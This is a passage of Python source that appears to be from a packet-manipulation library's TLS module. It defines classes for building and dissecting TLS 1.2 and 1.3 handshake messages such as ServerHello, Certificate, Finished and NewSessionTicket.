the pending write + and read connection states. Usually they get updated later on in the + negotiation when we learn the session keys, and eventually they + are committed once a ChangeCipherSpec has been sent/received. + """ + super(TLSServerHello, self).tls_session_update(msg_str) + + self.tls_session.tls_version = self.version + self.random_bytes = msg_str[10:38] + self.tls_session.server_random = (struct.pack('!I', + self.gmt_unix_time) + + self.random_bytes) + self.tls_session.sid = self.sid + + cs_cls = None + if self.cipher: + cs_val = self.cipher + if cs_val not in _tls_cipher_suites_cls: + warning("Unknown cipher suite %d from ServerHello" % cs_val) + # we do not try to set a default nor stop the execution + else: + cs_cls = _tls_cipher_suites_cls[cs_val] + + comp_cls = Comp_NULL + if self.comp: + comp_val = self.comp[0] + if comp_val not in _tls_compression_algs_cls: + err = "Unknown compression alg %d from ServerHello" % comp_val + warning(err) + comp_val = 0 + comp_cls = _tls_compression_algs_cls[comp_val] + + connection_end = self.tls_session.connection_end + self.tls_session.pwcs = writeConnState(ciphersuite=cs_cls, + compression_alg=comp_cls, + connection_end=connection_end, + tls_version=self.version) + self.tls_session.prcs = readConnState(ciphersuite=cs_cls, + compression_alg=comp_cls, + connection_end=connection_end, + tls_version=self.version) + + +_tls_13_server_hello_fields = [ + ByteEnumField("msgtype", 2, _tls_handshake_type), + ThreeBytesField("msglen", None), + _TLSVersionField("version", 0x0303, _tls_version), + _TLSRandomBytesField("random_bytes", None, 32), + FieldLenField("sidlen", None, length_of="sid", fmt="B"), + _SessionIDField("sid", "", + length_from=lambda pkt: pkt.sidlen), + EnumField("cipher", None, _tls_cipher_suites), + _CompressionMethodsField("comp", [0], + _tls_compression_algs, + itemfmt="B", + length_from=lambda pkt: 1), + _ExtensionsLenField("extlen", None, length_of="ext"), + _ExtensionsField("ext", None, + length_from=lambda pkt: (pkt.msglen - + 38)) +] + + +class TLS13ServerHello(_TLSHandshake): + """ TLS 1.3 ServerHello """ + name = "TLS 1.3 Handshake - Server Hello" + fields_desc = _tls_13_server_hello_fields + + # ServerHello and HelloRetryRequest has the same structure and the same + # msgId. We need to check the server_random value to determine which it is. + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 38: + # If SHA-256("HelloRetryRequest") == server_random, + # this message is a HelloRetryRequest + random_bytes = _pkt[6:38] + if random_bytes == _tls_hello_retry_magic: + return TLS13HelloRetryRequest + return TLS13ServerHello + + def post_build(self, p, pay): + if self.random_bytes is None: + p = p[:6] + randstring(32) + p[6 + 32:] + return super(TLS13ServerHello, self).post_build(p, pay) + + def tls_session_update(self, msg_str): + """ + Either for parsing or building, we store the server_random along with + the raw string representing this handshake message. We also store the + cipher suite (if recognized), and finally we instantiate the write and + read connection states. + """ + super(TLS13ServerHello, self).tls_session_update(msg_str) + + s = self.tls_session + if self.ext: + for e in self.ext: + if isinstance(e, TLS_Ext_SupportedVersion_SH): + s.tls_version = e.version + break + s.server_random = self.random_bytes + s.ciphersuite = self.cipher + + cs_cls = None + if self.cipher: + cs_val = self.cipher + if cs_val not in _tls_cipher_suites_cls: + warning("Unknown cipher suite %d from ServerHello" % cs_val) + # we do not try to set a default nor stop the execution + else: + cs_cls = _tls_cipher_suites_cls[cs_val] + + connection_end = s.connection_end + if connection_end == "server": + s.pwcs = writeConnState(ciphersuite=cs_cls, + connection_end=connection_end, + tls_version=s.tls_version) + + if not s.middlebox_compatibility: + s.triggered_pwcs_commit = True + elif connection_end == "client": + + s.prcs = readConnState(ciphersuite=cs_cls, + connection_end=connection_end, + tls_version=s.tls_version) + if not s.middlebox_compatibility: + s.triggered_prcs_commit = True + + if s.tls13_early_secret is None: + # In case the connState was not pre-initialized, we could not + # compute the early secrets at the ClientHello, so we do it here. + s.compute_tls13_early_secrets() + s.compute_tls13_handshake_secrets() + if connection_end == "server": + shts = s.tls13_derived_secrets["server_handshake_traffic_secret"] + s.pwcs.tls13_derive_keys(shts) + elif connection_end == "client": + shts = s.tls13_derived_secrets["server_handshake_traffic_secret"] + s.prcs.tls13_derive_keys(shts) + + +############################################################################### +# HelloRetryRequest # +############################################################################### + +class TLS13HelloRetryRequest(_TLSHandshake): + name = "TLS 1.3 Handshake - Hello Retry Request" + + fields_desc = _tls_13_server_hello_fields + + def build(self): + fval = self.getfieldval("random_bytes") + if fval is None: + self.random_bytes = _tls_hello_retry_magic + return _TLSHandshake.build(self) + + def tls_session_update(self, msg_str): + s = self.tls_session + s.tls13_retry = True + s.tls13_client_pubshares = {} + # If the server responds to a ClientHello with a HelloRetryRequest + # The value of the first ClientHello is replaced by a message_hash + if s.client_session_ticket: + cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] + hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) + hash_len = hkdf.hash.digest_size + else: + cs_cls = _tls_cipher_suites_cls[self.cipher] + hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) + hash_len = hkdf.hash.digest_size + + handshake_context = struct.pack("B", 254) + handshake_context += struct.pack("B", 0) + handshake_context += struct.pack("B", 0) + handshake_context += struct.pack("B", hash_len) + digest = hashes.Hash(hkdf.hash, backend=default_backend()) + digest.update(s.handshake_messages[0]) + handshake_context += digest.finalize() + s.handshake_messages[0] = handshake_context + super(TLS13HelloRetryRequest, self).tls_session_update(msg_str) + + +############################################################################### +# EncryptedExtensions # +############################################################################### + + +class TLSEncryptedExtensions(_TLSHandshake): + name = "TLS 1.3 Handshake - Encrypted Extensions" + fields_desc = [ByteEnumField("msgtype", 8, _tls_handshake_type), + ThreeBytesField("msglen", None), + _ExtensionsLenField("extlen", None, length_of="ext"), + _ExtensionsField("ext", None, + length_from=lambda pkt: pkt.msglen - 2)] + + def post_build_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + + s = self.tls_session + connection_end = s.connection_end + + # Check if the server early_data extension is present in + # EncryptedExtensions message (if so, early data was accepted by the + # server) + early_data_accepted = False + if self.ext: + for e in self.ext: + if isinstance(e, TLS_Ext_EarlyDataIndication): + early_data_accepted = True + + # If the serveur did not accept early_data, we change prcs traffic + # encryption keys. Otherwise, the the keys will be updated after the + # EndOfEarlyData message + if connection_end == "server": + if not early_data_accepted: + s.prcs = readConnState(ciphersuite=type(s.wcs.ciphersuite), + connection_end=connection_end, + tls_version=s.tls_version) + + chts = s.tls13_derived_secrets["client_handshake_traffic_secret"] # noqa: E501 + s.prcs.tls13_derive_keys(chts) + + if not s.middlebox_compatibility: + s.rcs = self.tls_session.prcs + s.triggered_prcs_commit = False + else: + s.triggered_prcs_commit = True + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + s = self.tls_session + connection_end = s.connection_end + + # Check if the server early_data extension is present in + # EncryptedExtensions message (if so, early data was accepted by the + # server) + early_data_accepted = False + if self.ext: + for e in self.ext: + if isinstance(e, TLS_Ext_EarlyDataIndication): + early_data_accepted = True + + # If the serveur did not accept early_data, we change pwcs traffic + # encryption key. Otherwise, the the keys will be updated after the + # EndOfEarlyData message + if connection_end == "client": + if not early_data_accepted: + s.pwcs = writeConnState(ciphersuite=type(s.rcs.ciphersuite), + connection_end=connection_end, + tls_version=s.tls_version) + chts = s.tls13_derived_secrets["client_handshake_traffic_secret"] # noqa: E501 + s.pwcs.tls13_derive_keys(chts) + if not s.middlebox_compatibility: + s.wcs = self.tls_session.pwcs + s.triggered_pwcs_commit = False + else: + s.triggered_prcs_commit = True +############################################################################### +# Certificate # +############################################################################### + +# XXX It might be appropriate to rewrite this mess with basic 3-byte FieldLenField. # noqa: E501 + + +class _ASN1CertLenField(FieldLenField): + """ + This is mostly a 3-byte FieldLenField. + """ + def __init__(self, name, default, length_of=None, adjust=lambda pkt, x: x): + self.length_of = length_of + self.adjust = adjust + Field.__init__(self, name, default, fmt="!I") + + def i2m(self, pkt, x): + if x is None: + if self.length_of is not None: + fld, fval = pkt.getfield_and_val(self.length_of) + f = fld.i2len(pkt, fval) + x = self.adjust(pkt, f) + return x + + def addfield(self, pkt, s, val): + return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4] + + def getfield(self, pkt, s): + return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0]) # noqa: E501 + + +class _ASN1CertListField(StrLenField): + islist = 1 + + def i2len(self, pkt, i): + if i is None: + return 0 + return len(self.i2m(pkt, i)) + + def getfield(self, pkt, s): + """ + Extract Certs in a loop. + XXX We should provide safeguards when trying to parse a Cert. + """ + tmp_len = None + if self.length_from is not None: + tmp_len = self.length_from(pkt) + + lst = [] + ret = b"" + m = s + if tmp_len is not None: + m, ret = s[:tmp_len], s[tmp_len:] + while m: + clen = struct.unpack("!I", b'\x00' + m[:3])[0] + lst.append((clen, Cert(m[3:3 + clen]))) + m = m[3 + clen:] + return m + ret, lst + + def i2m(self, pkt, i): + def i2m_one(i): + if isinstance(i, str): + return i + if isinstance(i, Cert): + s = i.der + tmp_len = struct.pack("!I", len(s))[1:4] + return tmp_len + s + + (tmp_len, s) = i + if isinstance(s, Cert): + s = s.der + return struct.pack("!I", tmp_len)[1:4] + s + + if i is None: + return b"" + if isinstance(i, str): + return i + if isinstance(i, Cert): + i = [i] + return b"".join(i2m_one(x) for x in i) + + def any2i(self, pkt, x): + return x + + +class _ASN1CertField(StrLenField): + def i2len(self, pkt, i): + if i is None: + return 0 + return len(self.i2m(pkt, i)) + + def getfield(self, pkt, s): + tmp_len = None + if self.length_from is not None: + tmp_len = self.length_from(pkt) + ret = b"" + m = s + if tmp_len is not None: + m, ret = s[:tmp_len], s[tmp_len:] + clen = struct.unpack("!I", b'\x00' + m[:3])[0] + len_cert = (clen, Cert(m[3:3 + clen])) + m = m[3 + clen:] + return m + ret, len_cert + + def i2m(self, pkt, i): + def i2m_one(i): + if isinstance(i, str): + return i + if isinstance(i, Cert): + s = i.der + tmp_len = struct.pack("!I", len(s))[1:4] + return tmp_len + s + + (tmp_len, s) = i + if isinstance(s, Cert): + s = s.der + return struct.pack("!I", tmp_len)[1:4] + s + + if i is None: + return b"" + return i2m_one(i) + + def any2i(self, pkt, x): + return x + + +class TLSCertificate(_TLSHandshake): + """ + XXX We do not support RFC 5081, i.e. OpenPGP certificates. + """ + name = "TLS Handshake - Certificate" + fields_desc = [ByteEnumField("msgtype", 11, _tls_handshake_type), + ThreeBytesField("msglen", None), + _ASN1CertLenField("certslen", None, length_of="certs"), + _ASN1CertListField("certs", [], + length_from=lambda pkt: pkt.certslen)] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt: + tls_session = kargs.get("tls_session", None) + if tls_session and (tls_session.tls_version or 0) >= 0x0304: + return TLS13Certificate + return TLSCertificate + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + connection_end = self.tls_session.connection_end + if connection_end == "client": + self.tls_session.server_certs = [x[1] for x in self.certs] + else: + self.tls_session.client_certs = [x[1] for x in self.certs] + + +class _ASN1CertAndExt(_GenericTLSSessionInheritance): + name = "Certificate and Extensions" + fields_desc = [_ASN1CertField("cert", ""), + FieldLenField("extlen", None, length_of="ext"), + _ExtensionsField("ext", [], + length_from=lambda pkt: pkt.extlen)] + + def extract_padding(self, s): + return b"", s + + +class _ASN1CertAndExtListField(PacketListField): + def m2i(self, pkt, m): + return self.cls(m, tls_session=pkt.tls_session) + + +class TLS13Certificate(_TLSHandshake): + name = "TLS 1.3 Handshake - Certificate" + fields_desc = [ByteEnumField("msgtype", 11, _tls_handshake_type), + ThreeBytesField("msglen", None), + FieldLenField("cert_req_ctxt_len", None, fmt="B", + length_of="cert_req_ctxt"), + StrLenField("cert_req_ctxt", "", + length_from=lambda pkt: pkt.cert_req_ctxt_len), + _ASN1CertLenField("certslen", None, length_of="certs"), + _ASN1CertAndExtListField("certs", [], _ASN1CertAndExt, + length_from=lambda pkt: pkt.certslen)] # noqa: E501 + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + connection_end = self.tls_session.connection_end + if connection_end == "client": + if self.certs: + sc = [x.cert[1] for x in self.certs] + self.tls_session.server_certs = sc + else: + if self.certs: + cc = [x.cert[1] for x in self.certs] + self.tls_session.client_certs = cc + + +############################################################################### +# ServerKeyExchange # +############################################################################### + +class TLSServerKeyExchange(_TLSHandshake): + name = "TLS Handshake - Server Key Exchange" + fields_desc = [ByteEnumField("msgtype", 12, _tls_handshake_type), + ThreeBytesField("msglen", None), + _TLSServerParamsField("params", None, + length_from=lambda pkt: pkt.msglen), + _TLSSignatureField("sig", None, + length_from=lambda pkt: pkt.msglen - len(pkt.params))] # noqa: E501 + + def build(self, *args, **kargs): + r""" + We overload build() method in order to provide a valid default value + for params based on TLS session if not provided. This cannot be done by + overriding i2m() because the method is called on a copy of the packet. + + The 'params' field is built according to key_exchange.server_kx_msg_cls + which should have been set after receiving a cipher suite in a + previous ServerHello. Usual cases are: + + - None: for RSA encryption or fixed FF/ECDH. This should never happen, + as no ServerKeyExchange should be generated in the first place. + - ServerDHParams: for ephemeral FFDH. In that case, the parameter to + server_kx_msg_cls does not matter. + - ServerECDH\*Params: for ephemeral ECDH. There are actually three + classes, which are dispatched by _tls_server_ecdh_cls_guess on + the first byte retrieved. The default here is b"\03", which + corresponds to ServerECDHNamedCurveParams (implicit curves). + + When the Server\*DHParams are built via .fill_missing(), the session + server_kx_privkey will be updated accordingly. + """ + fval = self.getfieldval("params") + if fval is None: + s = self.tls_session + if s.pwcs: + if s.pwcs.key_exchange.export: + cls = ServerRSAParams(tls_session=s) + else: + cls = s.pwcs.key_exchange.server_kx_msg_cls(b"\x03") + cls = cls(tls_session=s) + try: + cls.fill_missing() + except Exception: + if conf.debug_dissector: + raise + else: + cls = Raw() + self.params = cls + + fval = self.getfieldval("sig") + if fval is None: + s = self.tls_session + if s.pwcs: + if not s.pwcs.key_exchange.anonymous: + p = self.params + if p is None: + p = b"" + m = s.client_random + s.server_random + raw(p) + cls = _TLSSignature(tls_session=s) + cls._update_sig(m, s.server_key) + else: + cls = Raw() + else: + cls = Raw() + self.sig = cls + + return _TLSHandshake.build(self, *args, **kargs) + + def post_dissection(self, pkt): + """ + While previously dissecting Server*DHParams, the session + server_kx_pubkey should have been updated. + + XXX Add a 'fixed_dh' OR condition to the 'anonymous' test. + """ + s = self.tls_session + if s.prcs and s.prcs.key_exchange.no_ske: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: useless ServerKeyExchange [%s]", pkt_info) + if (s.prcs and + not s.prcs.key_exchange.anonymous and + s.client_random and s.server_random and + s.server_certs and len(s.server_certs) > 0): + m = s.client_random + s.server_random + raw(self.params) + sig_test = self.sig._verify_sig(m, s.server_certs[0]) + if not sig_test: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: invalid ServerKeyExchange signature [%s]", pkt_info) # noqa: E501 + + +############################################################################### +# CertificateRequest # +############################################################################### + +_tls_client_certificate_types = {1: "rsa_sign", + 2: "dss_sign", + 3: "rsa_fixed_dh", + 4: "dss_fixed_dh", + 5: "rsa_ephemeral_dh_RESERVED", + 6: "dss_ephemeral_dh_RESERVED", + 20: "fortezza_dms_RESERVED", + 64: "ecdsa_sign", + 65: "rsa_fixed_ecdh", + 66: "ecdsa_fixed_ecdh"} + + +class _CertTypesField(_CipherSuitesField): + pass + + +class _CertAuthoritiesField(StrLenField): + """ + XXX Rework this with proper ASN.1 parsing. + """ + islist = 1 + + def getfield(self, pkt, s): + tmp_len = self.length_from(pkt) + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + def m2i(self, pkt, m): + res = [] + while len(m) > 1: + tmp_len = struct.unpack("!H", m[:2])[0] + if len(m) < tmp_len + 2: + res.append((tmp_len, m[2:])) + break + dn = m[2:2 + tmp_len] + res.append((tmp_len, dn)) + m = m[2 + tmp_len:] + return res + + def i2m(self, pkt, i): + return b"".join(map(lambda x_y: struct.pack("!H", x_y[0]) + x_y[1], i)) + + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + + def i2len(self, pkt, val): + if val is None: + return 0 + else: + return len(self.i2m(pkt, val)) + + +class TLSCertificateRequest(_TLSHandshake): + name = "TLS Handshake - Certificate Request" + fields_desc = [ByteEnumField("msgtype", 13, _tls_handshake_type), + ThreeBytesField("msglen", None), + FieldLenField("ctypeslen", None, fmt="B", + length_of="ctypes"), + _CertTypesField("ctypes", [1, 64], + _tls_client_certificate_types, + itemfmt="!B", + length_from=lambda pkt: pkt.ctypeslen), + SigAndHashAlgsLenField("sig_algs_len", None, + length_of="sig_algs"), + SigAndHashAlgsField("sig_algs", [0x0403, 0x0401, 0x0201], + EnumField("hash_sig", None, _tls_hash_sig), # noqa: E501 + length_from=lambda pkt: pkt.sig_algs_len), # noqa: E501 + FieldLenField("certauthlen", None, fmt="!H", + length_of="certauth"), + _CertAuthoritiesField("certauth", [], + length_from=lambda pkt: pkt.certauthlen)] # noqa: E501 + + +class TLS13CertificateRequest(_TLSHandshake): + name = "TLS 1.3 Handshake - Certificate Request" + fields_desc = [ByteEnumField("msgtype", 13, _tls_handshake_type), + ThreeBytesField("msglen", None), + FieldLenField("cert_req_ctxt_len", None, fmt="B", + length_of="cert_req_ctxt"), + StrLenField("cert_req_ctxt", "", + length_from=lambda pkt: pkt.cert_req_ctxt_len), + _ExtensionsLenField("extlen", None, length_of="ext"), + _ExtensionsField("ext", None, + length_from=lambda pkt: pkt.msglen - + pkt.cert_req_ctxt_len - 3)] + +############################################################################### +# ServerHelloDone # +############################################################################### + + +class TLSServerHelloDone(_TLSHandshake): + name = "TLS Handshake - Server Hello Done" + fields_desc = [ByteEnumField("msgtype", 14, _tls_handshake_type), + ThreeBytesField("msglen", None)] + + +############################################################################### +# CertificateVerify # +############################################################################### + +class TLSCertificateVerify(_TLSHandshake): + name = "TLS Handshake - Certificate Verify" + fields_desc = [ByteEnumField("msgtype", 15, _tls_handshake_type), + ThreeBytesField("msglen", None), + _TLSSignatureField("sig", None, + length_from=lambda pkt: pkt.msglen)] + + def build(self, *args, **kargs): + sig = self.getfieldval("sig") + if sig is None: + s = self.tls_session + m = b"".join(s.handshake_messages) + tls_version = s.tls_version + if tls_version is None: + tls_version = s.advertised_tls_version + if tls_version >= 0x0304: + if s.connection_end == "client": + context_string = b"TLS 1.3, client CertificateVerify" + elif s.connection_end == "server": + context_string = b"TLS 1.3, server CertificateVerify" + m = b"\x20" * 64 + context_string + b"\x00" + s.wcs.hash.digest(m) # noqa: E501 + self.sig = _TLSSignature(tls_session=s) + if s.connection_end == "client": + self.sig._update_sig(m, s.client_key) + elif s.connection_end == "server": + # should be TLS 1.3 only + self.sig._update_sig(m, s.server_key) + return _TLSHandshake.build(self, *args, **kargs) + + def post_dissection(self, pkt): + s = self.tls_session + m = b"".join(s.handshake_messages) + tls_version = s.tls_version + if tls_version is None: + tls_version = s.advertised_tls_version + if tls_version >= 0x0304: + if s.connection_end == "client": + context_string = b"TLS 1.3, server CertificateVerify" + elif s.connection_end == "server": + context_string = b"TLS 1.3, client CertificateVerify" + m = b"\x20" * 64 + context_string + b"\x00" + s.rcs.hash.digest(m) + + if s.connection_end == "server": + if s.client_certs and len(s.client_certs) > 0: + sig_test = self.sig._verify_sig(m, s.client_certs[0]) + if not sig_test: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: invalid CertificateVerify signature [%s]", pkt_info) # noqa: E501 + elif s.connection_end == "client": + # should be TLS 1.3 only + if s.server_certs and len(s.server_certs) > 0: + sig_test = self.sig._verify_sig(m, s.server_certs[0]) + if not sig_test: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: invalid CertificateVerify signature [%s]", pkt_info) # noqa: E501 + + +############################################################################### +# ClientKeyExchange # +############################################################################### + +class _TLSCKExchKeysField(PacketField): + __slots__ = ["length_from"] + holds_packet = 1 + + def __init__(self, name, length_from=None, remain=0): + self.length_from = length_from + PacketField.__init__(self, name, None, None, remain=remain) + + def m2i(self, pkt, m): + """ + The client_kx_msg may be either None, EncryptedPreMasterSecret + (for RSA encryption key exchange), ClientDiffieHellmanPublic, + or ClientECDiffieHellmanPublic. When either one of them gets + dissected, the session context is updated accordingly. + """ + tmp_len = self.length_from(pkt) + tbd, rem = m[:tmp_len], m[tmp_len:] + + s = pkt.tls_session + cls = None + + if s.prcs and s.prcs.key_exchange: + cls = s.prcs.key_exchange.client_kx_msg_cls + + if cls is None: + return Raw(tbd) / Padding(rem) + + return cls(tbd, tls_session=s) / Padding(rem) + + +class TLSClientKeyExchange(_TLSHandshake): + """ + This class mostly works like TLSServerKeyExchange and its 'params' field. + """ + name = "TLS Handshake - Client Key Exchange" + fields_desc = [ByteEnumField("msgtype", 16, _tls_handshake_type), + ThreeBytesField("msglen", None), + _TLSCKExchKeysField("exchkeys", + length_from=lambda pkt: pkt.msglen)] + + def build(self, *args, **kargs): + fval = self.getfieldval("exchkeys") + if fval is None: + s = self.tls_session + if s.prcs: + cls = s.prcs.key_exchange.client_kx_msg_cls + cls = cls(tls_session=s) + else: + cls = Raw() + self.exchkeys = cls + return _TLSHandshake.build(self, *args, **kargs) + + +############################################################################### +# Finished # +############################################################################### + +class _VerifyDataField(StrLenField): + def getfield(self, pkt, s): + if pkt.tls_session.tls_version == 0x0300: + sep = 36 + elif pkt.tls_session.tls_version >= 0x0304: + sep = pkt.tls_session.rcs.hash.hash_len + else: + sep = 12 + return s[sep:], s[:sep] + + +class TLSFinished(_TLSHandshake): + name = "TLS Handshake - Finished" + fields_desc = [ByteEnumField("msgtype", 20, _tls_handshake_type), + ThreeBytesField("msglen", None), + _VerifyDataField("vdata", None)] + + def build(self, *args, **kargs): + fval = self.getfieldval("vdata") + if fval is None: + s = self.tls_session + handshake_msg = b"".join(s.handshake_messages) + con_end = s.connection_end + tls_version = s.tls_version + if tls_version is None: + tls_version = s.advertised_tls_version + if tls_version < 0x0304: + ms = s.master_secret + self.vdata = s.wcs.prf.compute_verify_data(con_end, "write", + handshake_msg, ms) + else: + self.vdata = s.compute_tls13_verify_data(con_end, "write") + return _TLSHandshake.build(self, *args, **kargs) + + def post_dissection(self, pkt): + s = self.tls_session + if not s.frozen: + handshake_msg = b"".join(s.handshake_messages) + tls_version = s.tls_version + if tls_version is None: + tls_version = s.advertised_tls_version + if tls_version < 0x0304 and s.master_secret is not None: + ms = s.master_secret + con_end = s.connection_end + verify_data = s.rcs.prf.compute_verify_data(con_end, "read", + handshake_msg, ms) + if self.vdata != verify_data: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: invalid Finished received [%s]", pkt_info) # noqa: E501 + elif tls_version >= 0x0304: + con_end = s.connection_end + verify_data = s.compute_tls13_verify_data(con_end, "read") + if self.vdata != verify_data: + pkt_info = pkt.firstlayer().summary() + log_runtime.info("TLS: invalid Finished received [%s]", pkt_info) # noqa: E501 + + def post_build_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + s = self.tls_session + tls_version = s.tls_version + if tls_version is None: + tls_version = s.advertised_tls_version + if tls_version >= 0x0304: + s.pwcs = writeConnState(ciphersuite=type(s.wcs.ciphersuite), + connection_end=s.connection_end, + tls_version=s.tls_version) + s.triggered_pwcs_commit = True + if s.connection_end == "server": + s.compute_tls13_traffic_secrets() + elif s.connection_end == "client": + s.compute_tls13_traffic_secrets_end() + s.compute_tls13_resumption_secret() + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + s = self.tls_session + tls_version = s.tls_version + if tls_version is None: + tls_version = s.advertised_tls_version + if tls_version >= 0x0304: + s.prcs = readConnState(ciphersuite=type(s.rcs.ciphersuite), + connection_end=s.connection_end, + tls_version=s.tls_version) + s.triggered_prcs_commit = True + if s.connection_end == "client": + s.compute_tls13_traffic_secrets() + elif s.connection_end == "server": + s.compute_tls13_traffic_secrets_end() + s.compute_tls13_resumption_secret() + + +# Additional handshake messages + +############################################################################### +# HelloVerifyRequest # +############################################################################### + +class TLSHelloVerifyRequest(_TLSHandshake): + """ + Defined for DTLS, see RFC 6347. + """ + name = "TLS Handshake - Hello Verify Request" + fields_desc = [ByteEnumField("msgtype", 21, _tls_handshake_type), + ThreeBytesField("msglen", None), + FieldLenField("cookielen", None, + fmt="B", length_of="cookie"), + StrLenField("cookie", "", + length_from=lambda pkt: pkt.cookielen)] + + +############################################################################### +# CertificateURL # +############################################################################### + +_tls_cert_chain_types = {0: "individual_certs", + 1: "pkipath"} + + +class URLAndOptionalHash(Packet): + name = "URLAndOptionHash structure for TLSCertificateURL" + fields_desc = [FieldLenField("urllen", None, length_of="url"), + StrLenField("url", "", + length_from=lambda pkt: pkt.urllen), + FieldLenField("hash_present", None, + fmt="B", length_of="hash", + adjust=lambda pkt, x: int(math.ceil(x / 20.))), # noqa: E501 + StrLenField("hash", "", + length_from=lambda pkt: 20 * pkt.hash_present)] + + def guess_payload_class(self, p): + return Padding + + +class TLSCertificateURL(_TLSHandshake): + """ + Defined in RFC 4366. PkiPath structure of section 8 is not implemented yet. + """ + name = "TLS Handshake - Certificate URL" + fields_desc = [ByteEnumField("msgtype", 21, _tls_handshake_type), + ThreeBytesField("msglen", None), + ByteEnumField("certchaintype", None, _tls_cert_chain_types), + FieldLenField("uahlen", None, length_of="uah"), + PacketListField("uah", [], URLAndOptionalHash, + length_from=lambda pkt: pkt.uahlen)] + + +############################################################################### +# CertificateStatus # +############################################################################### + +class ThreeBytesLenField(FieldLenField): + def __init__(self, name, default, length_of=None, adjust=lambda pkt, x: x): + FieldLenField.__init__(self, name, default, length_of=length_of, + fmt='!I', adjust=adjust) + + def i2repr(self, pkt, x): + if x is None: + return 0 + return repr(self.i2h(pkt, x)) + + def addfield(self, pkt, s, val): + return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4] + + def getfield(self, pkt, s): + return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0]) # noqa: E501 + + +_cert_status_cls = {1: OCSP_Response} + + +class _StatusField(PacketField): + def m2i(self, pkt, m): + idtype = pkt.status_type + cls = self.cls + if idtype in _cert_status_cls: + cls = _cert_status_cls[idtype] + return cls(m) + + +class TLSCertificateStatus(_TLSHandshake): + name = "TLS Handshake - Certificate Status" + fields_desc = [ByteEnumField("msgtype", 22, _tls_handshake_type), + ThreeBytesField("msglen", None), + ByteEnumField("status_type", 1, _cert_status_type), + ThreeBytesLenField("responselen", None, + length_of="response"), + _StatusField("response", None, Raw)] + + +############################################################################### +# SupplementalData # +############################################################################### + +class SupDataEntry(Packet): + name = "Supplemental Data Entry - Generic" + fields_desc = [ShortField("sdtype", None), + FieldLenField("len", None, length_of="data"), + StrLenField("data", "", + length_from=lambda pkt:pkt.len)] + + def guess_payload_class(self, p): + return Padding + + +class UserMappingData(Packet): + name = "User Mapping Data" + fields_desc = [ByteField("version", None), + FieldLenField("len", None, length_of="data"), + StrLenField("data", "", + length_from=lambda pkt: pkt.len)] + + def guess_payload_class(self, p): + return Padding + + +class SupDataEntryUM(Packet): + name = "Supplemental Data Entry - User Mapping" + fields_desc = [ShortField("sdtype", None), + FieldLenField("len", None, length_of="data", + adjust=lambda pkt, x: x + 2), + FieldLenField("dlen", None, length_of="data"), + PacketListField("data", [], UserMappingData, + length_from=lambda pkt:pkt.dlen)] + + def guess_payload_class(self, p): + return Padding + + +class TLSSupplementalData(_TLSHandshake): + name = "TLS Handshake - Supplemental Data" + fields_desc = [ByteEnumField("msgtype", 23, _tls_handshake_type), + ThreeBytesField("msglen", None), + ThreeBytesLenField("sdatalen", None, length_of="sdata"), + PacketListField("sdata", [], SupDataEntry, + length_from=lambda pkt: pkt.sdatalen)] + + +############################################################################### +# NewSessionTicket # +############################################################################### + +class TLSNewSessionTicket(_TLSHandshake): + """ + XXX When knowing the right secret, we should be able to read the ticket. + """ + name = "TLS Handshake - New Session Ticket" + fields_desc = [ByteEnumField("msgtype", 4, _tls_handshake_type), + ThreeBytesField("msglen", None), + IntField("lifetime", 0xffffffff), + FieldLenField("ticketlen", None, length_of="ticket"), + StrLenField("ticket", "", + length_from=lambda pkt: pkt.ticketlen)] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + s = kargs.get("tls_session", None) + if s and s.tls_version and s.tls_version >= 0x0304: + return TLS13NewSessionTicket + return TLSNewSessionTicket + + def post_dissection_tls_session_update(self, msg_str): + self.tls_session_update(msg_str) + if self.tls_session.connection_end == "client": + self.tls_session.client_session_ticket = self.ticket + + +class TLS13NewSessionTicket(_TLSHandshake): + """ + Uncomment the TicketField line for parsing a RFC 5077 ticket. + """ + name = "TLS 1.3 Handshake - New Session Ticket" + fields_desc = [ByteEnumField("msgtype", 4, _tls_handshake_type), + ThreeBytesField("msglen", None), + IntField("ticket_lifetime", 0xffffffff), + IntField("ticket_age_add", 0), + FieldLenField("noncelen", None, fmt="B", + length_of="ticket_nonce"), + StrLenField("ticket_nonce", "", + length_from=lambda pkt: pkt.noncelen), + FieldLenField("ticketlen", None, length_of="ticket"), + # TicketField("ticket", "", + StrLenField("ticket", "", + length_from=lambda pkt: pkt.ticketlen), + _ExtensionsLenField("extlen", None, length_of="ext"), + _ExtensionsField("ext", None, + length_from=lambda pkt: (pkt.msglen - + (pkt.ticketlen or 0) - # noqa: E501 + pkt.noncelen or 0) - 13)] # noqa: E501 + + def build(self): + fval = self.getfieldval("ticket") + if fval == b"": + # Here, the ticket is just a random 48-byte label + # The ticket may also be a self-encrypted and self-authenticated + # value + self.ticket = os.urandom(48) + + fval = self.getfieldval("ticket_nonce") + if fval == b"": + # Nonce is randomly chosen + self.ticket_nonce = os.urandom(32) + + fval = self.getfieldval("ticket_lifetime") + if fval == 0xffffffff: + # ticket_lifetime is set to 12 hours + self.ticket_lifetime = 43200 + + fval = self.getfieldval("ticket_age_add") + if fval == 0: + # ticket_age_add is a random 32-bit value + self.ticket_age_add = struct.unpack("!I", 